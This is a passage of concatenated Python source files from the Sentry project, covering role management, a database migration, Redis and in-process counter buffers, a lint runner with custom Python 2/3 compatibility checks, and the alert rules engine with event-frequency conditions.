:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from .backend import DjangoNodeStorage  # NOQA






from __future__ import absolute_import, print_function

from django.conf import settings

from .manager import RoleManager


default_manager = RoleManager(settings.SENTRY_ROLES, settings.SENTRY_DEFAULT_ROLE)

can_manage = default_manager.can_manage
get = default_manager.get
get_all = default_manager.get_all
get_choices = default_manager.get_choices
get_default = default_manager.get_default
get_top_dog = default_manager.get_top_dog
with_scope = default_manager.with_scope






from __future__ import absolute_import

import six

from collections import OrderedDict


class Role(object):
    def __init__(self, priority, id, name, desc='', scopes=(), is_global=False):
        assert len(id) <= 32, 'Role id must be no more than 32 characters'

        self.priority = priority
        self.id = id
        self.name = name
        self.desc = desc
        self.scopes = frozenset(scopes)
        self.is_global = bool(is_global)

    def __str__(self):
        return self.name.encode('utf-8')

    def __unicode__(self):
        return six.text_type(self.name)

    def __repr__(self):
        return '<Role: {}>'.format(self.id)

    def has_scope(self, scope):
        return scope in self.scopes


class RoleManager(object):
    def __init__(self, config, default=None):
        role_list = []
        self._roles = OrderedDict()
        for idx, role in enumerate(config):
            role = Role(idx, **role)
            role_list.append(role)
            self._roles[role.id] = role

        self._choices = tuple(
            (r.id, r.name)
            for r in role_list
        )

        if default:
            self._default = self._roles[default]
        else:
            self._default = role_list[0]

        self._top_dog = role_list[-1]

    def __iter__(self):
        return six.itervalues(self._roles)

    def can_manage(self, role, other):
        return self.get(role).priority >= self.get(other).priority

    def get(self, id):
        return self._roles[id]

    def get_all(self):
        return self._roles.values()

    def get_choices(self):
        return self._choices

    def get_default(self):
        return self._default

    def get_top_dog(self):
        return self._top_dog

    def with_scope(self, scope):
        for role in self.get_all():
            if role.has_scope(scope):
                yield role






# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models


class Migration(SchemaMigration):

    def forwards(self, orm):
        # Adding field 'File.checksum'
        db.add_column('sentry_file', 'checksum',
                      self.gf('django.db.models.fields.CharField')(max_length=32, null=True),
                      keep_default=False)


        # Changing field 'File.name'
        db.alter_column('sentry_file', 'name', self.gf('django.db.models.fields.CharField')(max_length=128))
        # Adding unique constraint on 'File', fields ['name', 'checksum']
        db.create_unique('sentry_file', ['name', 'checksum'])


    def backwards(self, orm):
        # Removing unique constraint on 'File', fields ['name', 'checksum']
        db.delete_unique('sentry_file', ['name', 'checksum'])

        # Deleting field 'File.checksum'
        db.delete_column('sentry_file', 'checksum')


        # Changing field 'File.name'
        db.alter_column('sentry_file', 'name', self.gf('django.db.models.fields.CharField')(max_length=256))



"""
sentry.buffer.inprocess
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry.buffer import Buffer


class InProcessBuffer(Buffer):
    """
    In-process buffer which computes changes in real-time.

    **Note**: This does not actually buffer anything, and should only be used
              in development and testing environments.
    """
    def incr(self, model, columns, filters, extra=None):
        self.process(model, columns, filters, extra)






"""
sentry.buffer.redis
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from time import time

from django.db import models
from django.utils.encoding import force_bytes

from sentry.buffer import Buffer
from sentry.exceptions import InvalidConfiguration
from sentry.tasks.process_buffer import process_incr
from sentry.utils import metrics
from sentry.utils.compat import pickle
from sentry.utils.hashlib import md5_text
from sentry.utils.imports import import_string
from sentry.utils.redis import get_cluster_from_options


class RedisBuffer(Buffer):
    key_expire = 60 * 60  # 1 hour
    pending_key = 'b:p'

    def __init__(self, **options):
        self.cluster, options = get_cluster_from_options('SENTRY_BUFFER_OPTIONS', options)

    def validate(self):
        try:
            with self.cluster.all() as client:
                client.ping()
        except Exception as e:
            raise InvalidConfiguration(six.text_type(e))

    def _coerce_val(self, value):
        if isinstance(value, models.Model):
            value = value.pk
        return force_bytes(value, errors='replace')

    def _make_key(self, model, filters):
        """
        Returns a Redis-compatible key for the model given filters.
        """
        return 'b:k:%s:%s' % (
            model._meta,
            md5_text(
                '&'.join('%s=%s' % (k, self._coerce_val(v))
                    for k, v in sorted(six.iteritems(filters)))
            ).hexdigest(),
        )

    def _make_lock_key(self, key):
        return 'l:%s' % (key,)

    def incr(self, model, columns, filters, extra=None):
        """
        Increment the key by doing the following:

        - Insert/update a hashmap based on (model, columns)
            - Perform an incrby on counters
            - Perform a set (last write wins) on extra
        - Add hashmap key to pending flushes
        """
        # TODO(dcramer): longer term we'd rather not have to serialize values
        # here (unless it's to JSON)
        key = self._make_key(model, filters)
        # We can't use conn.map() due to wanting to support multiple pending
        # keys (one per Redis shard)
        conn = self.cluster.get_local_client_for_key(key)

        pipe = conn.pipeline()
        pipe.hsetnx(key, 'm', '%s.%s' % (model.__module__, model.__name__))
        pipe.hsetnx(key, 'f', pickle.dumps(filters))
        for column, amount in six.iteritems(columns):
            pipe.hincrby(key, 'i+' + column, amount)

        if extra:
            for column, value in six.iteritems(extra):
                pipe.hset(key, 'e+' + column, pickle.dumps(value))
        pipe.expire(key, self.key_expire)
        pipe.zadd(self.pending_key, time(), key)
        pipe.execute()

    def process_pending(self):
        client = self.cluster.get_routing_client()
        lock_key = self._make_lock_key(self.pending_key)
        # prevent a stampede due to celerybeat + periodic task
        if not client.set(lock_key, '1', nx=True, ex=60):
            return

        try:
            for host_id in six.iterkeys(self.cluster.hosts):
                conn = self.cluster.get_local_client(host_id)
                keys = conn.zrange(self.pending_key, 0, -1)
                if not keys:
                    continue
                keycount = 0
                for key in keys:
                    keycount += 1
                    process_incr.apply_async(kwargs={
                        'key': key,
                    })
                pipe = conn.pipeline()
                pipe.zrem(self.pending_key, *keys)
                pipe.execute()
                metrics.timing('buffer.pending-size', keycount)
        finally:
            client.delete(lock_key)

    def process(self, key):
        client = self.cluster.get_routing_client()
        lock_key = self._make_lock_key(key)
        # prevent a stampede due to the way we use celery etas + duplicate
        # tasks
        if not client.set(lock_key, '1', nx=True, ex=10):
            metrics.incr('buffer.revoked', tags={'reason': 'locked'})
            self.logger.info('buffer.revoked.locked', extra={'redis_key': key})
            return

        try:
            conn = self.cluster.get_local_client_for_key(key)
            pipe = conn.pipeline()
            pipe.hgetall(key)
            pipe.zrem(self.pending_key, key)
            pipe.delete(key)
            values = pipe.execute()[0]

            if not values:
                metrics.incr('buffer.revoked', tags={'reason': 'empty'})
                self.logger.info('buffer.revoked.empty', extra={'redis_key': key})
                return

            model = import_string(values['m'])
            filters = pickle.loads(values['f'])
            incr_values = {}
            extra_values = {}
            for k, v in six.iteritems(values):
                if k.startswith('i+'):
                    incr_values[k[2:]] = int(v)
                elif k.startswith('e+'):
                    extra_values[k[2:]] = pickle.loads(v)

            super(RedisBuffer, self).process(model, incr_values, filters, extra_values)
        finally:
            client.delete(lock_key)






"""
sentry.buffer.base
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import logging
import six

from django.db.models import F

from sentry.signals import buffer_incr_complete
from sentry.tasks.process_buffer import process_incr


class BufferMount(type):
    def __new__(cls, name, bases, attrs):
        new_cls = type.__new__(cls, name, bases, attrs)
        new_cls.logger = logging.getLogger('sentry.buffer.%s' % (new_cls.__name__.lower(),))
        return new_cls


@six.add_metaclass(BufferMount)
class Buffer(object):
    """
    Buffers act as temporary stores for counters. The default implementation is just a passthru and
    does not actually buffer anything.

    A useful example might be a Redis buffer. Each time an event gets updated, we send several
    add events which just store a key and increment its value. Additionally they fire off a task
    to the queue. That task eventually runs and gets the current update value. If the value is
    empty, it does nothing, otherwise it updates the row in the database.

    This is useful in situations where a single event might be happening so fast that the queue cant
    keep up with the updates.
    """

    def incr(self, model, columns, filters, extra=None):
        """
        >>> incr(Group, columns={'times_seen': 1}, filters={'pk': group.pk})
        """
        process_incr.apply_async(kwargs={
            'model': model,
            'columns': columns,
            'filters': filters,
            'extra': extra,
        })

    def validate(self):
        """
        Validates the settings for this backend (i.e. such as proper connection
        info).

        Raise ``InvalidConfiguration`` if there is a configuration error.
        """

    def process_pending(self):
        return []

    def process(self, model, columns, filters, extra=None):
        update_kwargs = dict((c, F(c) + v) for c, v in six.iteritems(columns))
        if extra:
            update_kwargs.update(extra)

        _, created = model.objects.create_or_update(
            values=update_kwargs,
            **filters
        )

        buffer_incr_complete.send_robust(
            model=model,
            columns=columns,
            filters=filters,
            extra=extra,
            created=created,
            sender=model,
        )






"""
sentry.buffer
~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .base import Buffer  # NOQA






"""
Our linter engine needs to run in 3 different scenarios:
 * Linting all files (python and js)
 * Linting only python files (--python)
 * Linting only js files (--js)

For the js only path, we should not depend on any packages outside the
python stdlib to prevent the need to install the world just to run eslint.

This also means imports should be done lazily/inside of function calls for
dependencies such as flake8/pep8.
"""
from __future__ import absolute_import

import os
import sys
from subprocess import Popen

os.environ['PYFLAKES_NODOCTEST'] = '1'


def register_checks():
    import pycodestyle

    from sentry.lint.sentry_check import SentryCheck

    pycodestyle.register_check(SentryCheck)


register_checks()


def get_files(path):
    results = []
    for root, _, files in os.walk(path):
        for name in files:
            results.append(os.path.join(root, name))
    return results


def get_files_for_list(file_list):
    if file_list is None:
        files_to_check = get_files('.')

    else:
        files_to_check = []
        for path in file_list:
            if os.path.isdir(path):
                files_to_check.extend(get_files(path))
            else:
                files_to_check.append(os.path.abspath(path))
    return files_to_check


def py_lint(file_list):
    from flake8.engine import get_style_guide

    if file_list is None:
        file_list = ['src/sentry', 'tests']
    file_list = get_files_for_list(file_list)

    # remove non-py files and files which no longer exist
    file_list = [x for x in file_list if x.endswith('.py')]

    flake8_style = get_style_guide(parse_argv=True)
    report = flake8_style.check_files(file_list)

    return report.total_errors != 0


def js_lint(file_list=None):
    project_root = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir,
                                os.pardir)
    eslint_path = os.path.join(project_root, 'node_modules', '.bin', 'eslint')

    if not os.path.exists(eslint_path):
        print('!! Skipping JavaScript linting because eslint is not installed.')
        return False

    if file_list is None:
        file_list = ['tests/js', 'src/sentry/static/sentry/app']
    file_list = get_files_for_list(file_list)

    eslint_config = os.path.join(project_root, '.eslintrc')

    has_errors = False
    file_list = [
        x for x in file_list
        if x.endswith(('.js', '.jsx'))
    ]

    if file_list:
        status = Popen([eslint_path, '--config', eslint_config, '--ext', '.jsx']
                       + file_list).wait()
        has_errors = status != 0

    return has_errors


def check_files(file_list=None, js=True, py=True):
    # pep8.py uses sys.argv to find setup.cfg
    old_sysargv = sys.argv
    sys.argv = [
        os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, os.pardir)
    ]

    linters = []
    if py:
        linters.append(py_lint(file_list))
    if js:
        linters.append(js_lint(file_list))

    try:
        if any(linters):
            return 1
        return 0
    finally:
        sys.argv = old_sysargv






# coding: utf-8
# The MIT License (MIT)

# Copyright (c) 2016 Sentry
# Copyright (c) 2016 Łukasz Langa

# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from __future__ import absolute_import

import ast
import pycodestyle

from collections import namedtuple
from functools import partial


class SentryVisitor(ast.NodeVisitor):
    NODE_WINDOW_SIZE = 4

    def __init__(self, filename, lines):
        self.errors = []
        self.filename = filename
        self.lines = lines

        self.has_absolute_import = False
        self.node_stack = []
        self.node_window = []

    def finish(self):
        if not self.has_absolute_import:
            self.errors.append(
                B003(1, 1),
            )

    def visit(self, node):
        self.node_stack.append(node)
        self.node_window.append(node)
        self.node_window = self.node_window[-self.NODE_WINDOW_SIZE:]
        super(SentryVisitor, self).visit(node)
        self.node_stack.pop()

    def visit_ExceptHandler(self, node):
        if node.type is None:
            self.errors.append(
                B001(node.lineno, node.col_offset)
            )
        self.generic_visit(node)

    def visit_ImportFrom(self, node):
        if node.module in B307.names:
            self.errors.append(
                B307(node.lineno, node.col_offset)
            )

        if node.module == '__future__':
            for nameproxy in node.names:
                if nameproxy.name == 'absolute_import':
                    self.has_absolute_import = True
                    break

    def visit_Import(self, node):
        for alias in node.names:
            if alias.name.split('.', 1)[0] in B307.names:
                self.errors.append(
                    B307(node.lineno, node.col_offset)
                )

    def visit_Call(self, node):
        if isinstance(node.func, ast.Attribute):
            for bug in (B301, B302, B305):
                if node.func.attr in bug.methods:
                    call_path = '.'.join(self.compose_call_path(node.func.value))
                    if call_path not in bug.valid_paths:
                        self.errors.append(
                            bug(node.lineno, node.col_offset)
                        )
                    break
            for bug in (B311,):
                if node.func.attr in bug.methods:
                    call_path = '.'.join(self.compose_call_path(node.func.value))
                    if call_path in bug.invalid_paths:
                        self.errors.append(
                            bug(node.lineno, node.col_offset)
                        )
                    break
        elif isinstance(node.func, ast.Name):
            for bug in (B308, B309, B310):
                if node.func.id in bug.names:
                    self.errors.append(
                        bug(node.lineno, node.col_offset)
                    )
                    break
        self.generic_visit(node)

    def visit_Attribute(self, node):
        call_path = list(self.compose_call_path(node))
        if '.'.join(call_path) == 'sys.maxint':
            self.errors.append(
                B304(node.lineno, node.col_offset)
            )
        elif len(call_path) == 2 and call_path[1] == 'message':
            name = call_path[0]
            for elem in reversed(self.node_stack[:-1]):
                if isinstance(elem, ast.ExceptHandler) and elem.name == name:
                    self.errors.append(
                        B306(node.lineno, node.col_offset)
                    )
                    break

        if node.attr in B101.methods:
            self.errors.append(
                B101(
                    message="B101: Avoid using the {} mock call as it is "
                            "confusing and prone to causing invalid test "
                            "behavior.".format(node.attr),
                    lineno=node.lineno,
                    col=node.col_offset,
                ),
            )

    def visit_Assign(self, node):
        # TODO(dcramer): pretty sure these aren't working correctly on Python2
        if isinstance(self.node_stack[-2], ast.ClassDef):
            # note: by hasattr belowe we're ignoring starred arguments, slices
            # and tuples for simplicity.
            assign_targets = {t.id for t in node.targets if hasattr(t, 'id')}
            if '__metaclass__' in assign_targets:
                self.errors.append(
                    B303(node.lineno, node.col_offset)
                )
            if '__unicode__' in assign_targets:
                self.errors.append(
                    B312(node.lineno, node.col_offset)
                )
        self.generic_visit(node)

    def compose_call_path(self, node):
        if isinstance(node, ast.Attribute):
            for item in self.compose_call_path(node.value):
                yield item
            yield node.attr
        elif isinstance(node, ast.Name):
            yield node.id


class SentryCheck(object):
    name = 'sentry-checker'

    def __init__(self, tree, filename=None, lines=None):
        self.tree = tree
        self.filename = filename
        self.lines = lines
        self.visitor = SentryVisitor

    def run(self):
        if not self.tree or not self.lines:
            self.load_file()

        visitor = self.visitor(
            filename=self.filename,
            lines=self.lines,
        )
        visitor.visit(self.tree)
        visitor.finish()

        for e in visitor.errors:
            try:
                if pycodestyle.noqa(self.lines[e.lineno - 1]):
                    continue
            except IndexError:
                pass

            yield e

    def load_file(self):
        """
        Loads the file in a way that auto-detects source encoding and deals
        with broken terminal encodings for stdin.
        Stolen from flake8_import_order because it's good.
        """

        if self.filename in ("stdin", "-", None):
            self.filename = "stdin"
            self.lines = pycodestyle.stdin_get_value().splitlines(True)
        else:
            self.lines = pycodestyle.readlines(self.filename)

        if not self.tree:
            self.tree = ast.parse("".join(self.lines))

    # def run(self):
    #     visitor = Py2to3Visitor()
    #     visitor.visit(self.tree)
    #     for code, lineno, name in visitor.errors:
    #         yield lineno, 0, self.codes[code], type(self)


error = namedtuple('error', 'lineno col message type')

B001 = partial(
    error,
    message="B001: Do not use bare `except:`, it also catches unexpected "
            "events like memory errors, interrupts, system exit, and so on.  "
            "Prefer `except Exception:`.  If you're sure what you're doing, "
            "be explicit and write `except BaseException:`.",
    type=SentryCheck,
)

B002 = partial(
    error,
    message="B002: Python does not support the unary prefix increment. Writing "
            "++n is equivalent to +(+(n)), which equals n. You meant n += 1.",
    type=SentryCheck,
)

B003 = partial(
    error,
    message="B003: Missing `from __future__ import absolute_import`",
    type=SentryCheck,
)

B101 = partial(
    error,
    type=SentryCheck)
B101.methods = {'assert_calls', 'assert_not_called', 'assert_called',
                'assert_called_once', 'not_called', 'called_once',
                'called_once_with'}

# Those could be false positives but it's more dangerous to let them slip
# through if they're not.
B301 = partial(
    error,
    message="B301: Python 3 does not include .iter* methods on dictionaries. "
            "Use `six.iter*` or `future.utils.iter*` instead.",
    type=SentryCheck,
)
B301.methods = {'iterkeys', 'itervalues', 'iteritems', 'iterlists'}
B301.valid_paths = {'six', 'future.utils', 'builtins'}

B302 = partial(
    error,
    message="B302: Python 3 does not include .view* methods on dictionaries. "
            "Remove the ``view`` prefix from the method name. Use `six.view*` "
            "or `future.utils.view*` instead.",
    type=SentryCheck,
)
B302.methods = {'viewkeys', 'viewvalues', 'viewitems', 'viewlists'}
B302.valid_paths = {'six', 'future.utils', 'builtins'}

B303 = partial(
    error,
    message="B303: __metaclass__ does not exist in Python 3. Use "
            "use `@six.add_metaclass()` instead.",
    type=SentryCheck,
)

B304 = partial(
    error,
    message="B304: sys.maxint does not exist in Python 3. Use `sys.maxsize`.",
    type=SentryCheck,
)

B305 = partial(
    error,
    message="B305: .next() does not exist in Python 3. Use ``six.next()`` "
            "instead.",
    type=SentryCheck,
)
B305.methods = {'next'}
B305.valid_paths = {'six', 'future.utils', 'builtins'}

B306 = partial(
    error,
    message="B306: ``BaseException.message`` has been deprecated as of Python "
            "2.6 and is removed in Python 3. Use ``str(e)`` to access the "
            "user-readable message. Use ``e.args`` to access arguments passed "
            "to the exception.",
    type=SentryCheck,
)

B307 = partial(
    error,
    message="B307: Python 3 has combined urllib, urllib2, and urlparse into "
            "a single library. For Python 2 compatibility, utilize the "
            "six.moves.urllib module.",
    type=SentryCheck)
B307.names = {'urllib', 'urlib2', 'urlparse'}

B308 = partial(
    error,
    message="B308: The usage of ``str()`` differs between Python 2 and 3. Use "
            "``six.text_type()`` or ``six.binary_type`` instead.",
    type=SentryCheck,
)
B308.names = {'str'}

B309 = partial(
    error,
    message="B309: ``unicode()`` does not exist in Python 3. Use "
            "``six.text_type()`` instead.",
    type=SentryCheck,
)
B309.names = {'unicode'}

B310 = partial(
    error,
    message="B310: ``long`` should not be used. Use int instead, and allow "
            "Python to deal with handling large integers.",
    type=SentryCheck,
)
B310.names = {'long'}

B311 = partial(
    error,
    message="B311: ``cgi.escape`` and ``html.escape`` should not be used. Use "
            "sentry.utils.html.escape instead.",
    type=SentryCheck,
)
B311.methods = {'escape'}
B311.invalid_paths = {'cgi', 'html'}

B312 = partial(
    error,
    message="B312: ``__unicode__`` should not be defined on classes. Define "
            "just ``__str__`` returning a unicode text string, and use the "
            "sentry.utils.compat.implements_to_string class decorator.",
    type=SentryCheck,
)






from __future__ import absolute_import






"""
sentry.rules.registry
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six

from collections import defaultdict


class RuleRegistry(object):
    def __init__(self):
        self._rules = defaultdict(list)
        self._map = {}

    def __contains__(self, rule_id):
        return rule_id in self._map

    def __iter__(self):
        for rule_type, rule_list in six.iteritems(self._rules):
            for rule in rule_list:
                yield rule_type, rule

    def add(self, rule):
        self._map[rule.id] = rule
        self._rules[rule.rule_type].append(rule)

    def get(self, rule_id, type=None):
        cls = self._map.get(rule_id)
        if type is not None and cls not in self._rules[type]:
            return
        return cls






"""
sentry.rules.base
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.

Rules apply either before an event gets stored, or immediately after.

Basic actions:

- I want to get notified when [X]
- I want to group events when [X]
- I want to scrub data when [X]

Expanded:

- I want to get notified when an event is first seen
- I want to get notified when an event is marked as a regression
- I want to get notified when the rate of an event increases by [100%]
- I want to get notified when an event has been seen more than [100] times
- I want to get notified when an event matches [conditions]
- I want to group events when an event matches [conditions]

Rules get broken down into two phases:

- An action
- A rule condition

A condition itself may actually be any number of things, but that is determined
by the rule's logic. Each rule condition may be associated with a form.

- [ACTION:I want to get notified when] [RULE:an event is first seen]
- [ACTION:I want to group events when] [RULE:an event matches [FORM]]

"""

from __future__ import absolute_import

import logging
import re
import six

from collections import namedtuple
from django.utils.safestring import mark_safe

from sentry.utils.html import escape


CallbackFuture = namedtuple('CallbackFuture', ['callback', 'kwargs'])


class RuleDescriptor(type):
    def __new__(cls, *args, **kwargs):
        new_cls = super(RuleDescriptor, cls).__new__(cls, *args, **kwargs)
        new_cls.id = '%s.%s' % (new_cls.__module__, new_cls.__name__)
        return new_cls


@six.add_metaclass(RuleDescriptor)
class RuleBase(object):
    label = None
    form_cls = None

    logger = logging.getLogger('sentry.rules')

    def __init__(self, project, data=None, rule=None):
        self.project = project
        self.data = data or {}
        self.had_data = data is not None
        self.rule = rule

    def get_option(self, key):
        return self.data.get(key)

    def get_form_instance(self):
        if self.had_data:
            data = self.data
        else:
            data = None
        return self.form_cls(data)

    def render_label(self):
        return self.label.format(**self.data)

    def render_form(self):
        if not self.form_cls:
            return self.label

        form = self.get_form_instance()

        def replace_field(match):
            field = match.group(1)
            return six.text_type(form[field])

        return mark_safe(re.sub(r'{([^}]+)}', replace_field, escape(self.label)))

    def validate_form(self):
        if not self.form_cls:
            return True

        form = self.get_form_instance()

        return form.is_valid()

    def future(self, callback, **kwargs):
        return CallbackFuture(
            callback=callback,
            kwargs=kwargs,
        )


class EventState(object):
    def __init__(self, is_new, is_regression, is_sample, rule_is_active,
                 rule_last_active):
        self.is_new = is_new
        self.is_regression = is_regression
        self.is_sample = is_sample,
        self.rule_is_active = rule_is_active
        self.rule_last_active = rule_last_active






"""
sentry.rules
~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from .base import *  # NOQA
from .registry import RuleRegistry  # NOQA


def init_registry():
    from sentry.constants import SENTRY_RULES
    from sentry.plugins import plugins
    from sentry.utils.imports import import_string
    from sentry.utils.safe import safe_execute

    registry = RuleRegistry()
    for rule in SENTRY_RULES:
        cls = import_string(rule)
        registry.add(cls)
    for plugin in plugins.all(version=2):
        for cls in (safe_execute(plugin.get_rules, _with_transaction=False) or ()):
            registry.add(cls)

    return registry


rules = init_registry()






from __future__ import absolute_import

import logging

from collections import defaultdict, namedtuple
from django.utils import timezone

from sentry.models import GroupRuleStatus, Rule
from sentry.rules import EventState, rules
from sentry.utils.safe import safe_execute

RuleFuture = namedtuple('RuleFuture', ['rule', 'kwargs'])


# TODO(dcramer): come up with a clean way to kill this either by renaming
# the Event.message attribute or updating all plugins (former is better)
class EventCompatibilityProxy(object):
    """
    A proxy which manages the 'message' attribute on an event to safely
    upgrade legacy notifications.
    """
    __class__ = property(lambda x: x._event.__class__)

    def __init__(self, event):
        self._event = event

    def __getattr__(self, attr):
        return getattr(self._event, attr)

    @property
    def message(self):
        return self._event.get_legacy_message()


class RuleProcessor(object):
    logger = logging.getLogger('sentry.rules')

    def __init__(self, event, is_new, is_regression, is_sample):
        self.event = EventCompatibilityProxy(event)
        self.group = event.group
        self.project = event.project

        self.is_new = is_new
        self.is_regression = is_regression
        # TODO(dcramer): lets remove is_sample
        self.is_sample = is_sample

        self.futures_by_cb = defaultdict(list)

    def get_rules(self):
        return Rule.get_for_project(self.project.id)

    def get_rule_status(self, rule):
        # TODO(dcramer): this isnt the most efficient query pattern for this
        rule_status, _ = GroupRuleStatus.objects.get_or_create(
            rule=rule,
            group=self.group,
            defaults={
                'project': self.project,
                'status': GroupRuleStatus.INACTIVE,
            },
        )

        return rule_status

    def condition_matches(self, condition, state, rule):
        condition_cls = rules.get(condition['id'])
        if condition_cls is None:
            self.logger.warn('Unregistered condition %r', condition['id'])
            return

        condition_inst = condition_cls(self.project, data=condition, rule=rule)
        return safe_execute(condition_inst.passes, self.event, state,
                            _with_transaction=False)

    def get_state(self, rule_status):
        return EventState(
            is_new=self.is_new,
            is_regression=self.is_regression,
            is_sample=self.is_sample,
            rule_is_active=rule_status.status == GroupRuleStatus.ACTIVE,
            rule_last_active=rule_status.last_active,
        )

    def apply_rule(self, rule):
        match = rule.data.get('action_match', 'all')
        condition_list = rule.data.get('conditions', ())

        # XXX(dcramer): if theres no condition should we really skip it,
        # or should we just apply it blindly?
        if not condition_list:
            return

        rule_status = self.get_rule_status(rule)
        state = self.get_state(rule_status)

        condition_iter = (
            self.condition_matches(c, state, rule)
            for c in condition_list
        )

        if match == 'all':
            passed = all(condition_iter)
        elif match == 'any':
            passed = any(condition_iter)
        elif match == 'none':
            passed = not any(condition_iter)
        else:
            self.logger.error('Unsupported action_match %r for rule %d',
                              match, rule.id)
            return

        now = timezone.now()
        if passed and rule_status.status == GroupRuleStatus.INACTIVE:
            # we only fire if we're able to say that the state has changed
            GroupRuleStatus.objects.filter(
                id=rule_status.id,
                status=GroupRuleStatus.INACTIVE,
            ).update(
                status=GroupRuleStatus.ACTIVE,
                last_active=now,
            )
            rule_status.last_active = now
            rule_status.status = GroupRuleStatus.ACTIVE
        elif not passed and rule_status.status == GroupRuleStatus.ACTIVE:
            # update the state to suggest this rule can fire again
            GroupRuleStatus.objects.filter(
                id=rule_status.id,
                status=GroupRuleStatus.ACTIVE,
            ).update(status=GroupRuleStatus.INACTIVE)
            rule_status.status = GroupRuleStatus.INACTIVE
        elif passed:
            GroupRuleStatus.objects.filter(
                id=rule_status.id,
                status=GroupRuleStatus.ACTIVE,
            ).update(last_active=now)
            rule_status.last_active = now

        if not passed:
            return

        for action in rule.data.get('actions', ()):
            action_cls = rules.get(action['id'])
            if action_cls is None:
                self.logger.warn('Unregistered action %r', action['id'])
                continue

            action_inst = action_cls(self.project, data=action, rule=rule)
            results = safe_execute(action_inst.after, event=self.event, state=state,
                                   _with_transaction=False)
            if results is None:
                self.logger.warn('Action %s did not return any futures', action['id'])
                continue

            for future in results:
                self.futures_by_cb[future.callback].append(
                    RuleFuture(rule=rule, kwargs=future.kwargs)
                )

    def apply(self):
        self.futures_by_cb = defaultdict(list)
        for rule in self.get_rules():
            self.apply_rule(rule)
        return list(self.futures_by_cb.items())






"""
sentry.rules.conditions.event_frequency
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from datetime import timedelta
from django import forms

from django.utils import timezone
from sentry.rules.conditions.base import EventCondition


class Interval(object):
    ONE_MINUTE = '1m'
    ONE_HOUR = '1h'
    ONE_DAY = '1d'


class EventFrequencyForm(forms.Form):
    interval = forms.ChoiceField(choices=(
        (Interval.ONE_MINUTE, 'one minute'),
        (Interval.ONE_HOUR, 'one hour'),
        (Interval.ONE_DAY, 'one day'),
    ))
    value = forms.IntegerField(widget=forms.TextInput(attrs={
        'placeholder': '100',
        'type': 'number'
    }))


class BaseEventFrequencyCondition(EventCondition):
    form_cls = EventFrequencyForm
    label = NotImplemented  # subclass must implement

    def __init__(self, *args, **kwargs):
        from sentry.app import tsdb

        self.tsdb = kwargs.pop('tsdb', tsdb)

        super(BaseEventFrequencyCondition, self).__init__(*args, **kwargs)

    def passes(self, event, state):
        # when a rule is not active (i.e. it hasnt gone from inactive -> active)
        # it means that we already notified the user about this condition and
        # shouldn't spam them again
        if state.rule_is_active:
            return False

        interval = self.get_option('interval')
        try:
            value = int(self.get_option('value'))
        except (TypeError, ValueError):
            return False

        if not interval:
            return False

        now = timezone.now()

        # XXX(dcramer): hardcode 30 minute frequency until rules support choices
        if state.rule_last_active and state.rule_last_active > (now - timedelta(minutes=30)):
            return False

        current_value = self.get_rate(event, interval)

        return current_value > value

    def clear_cache(self, event):
        event._rate_cache = {}

    def query(self, event, start, end):
        """
        """
        raise NotImplementedError  # subclass must implement

    def get_rate(self, event, interval):
        if not hasattr(event, '_rate_cache'):
            event._rate_cache = {}

        result = event._rate_cache.get(interval)
        if result is None:
            end = timezone.now()
            if interval == Interval.ONE_MINUTE:
                start = end - timedelta(minutes=1)
            elif interval == Interval.ONE_HOUR:
                start = end - timedelta(hours=1)
            elif interval == Interval.ONE_DAY:
                start = end - timedelta(hours=24)
            else:
                raise ValueError(interval)

            event._rate_cache[interval] = result = self.query(
                event,
                start,
                end,
            )

        return result


class EventFrequencyCondition(BaseEventFrequencyCondition):
    label = 'An event is seen more than {value} times in {interval}'

    def query(self, event, start, end):
        return self.tsdb.get_sums(
            model=self.tsdb.models.group,
            keys=[event.group_id],
            start=start,
            end=end,
        )[event.group_id]


class EventUniqueUserFrequencyCondition(BaseEventFrequencyCondition):
    label = 'An event is seen by more than {value} users in {interval}'

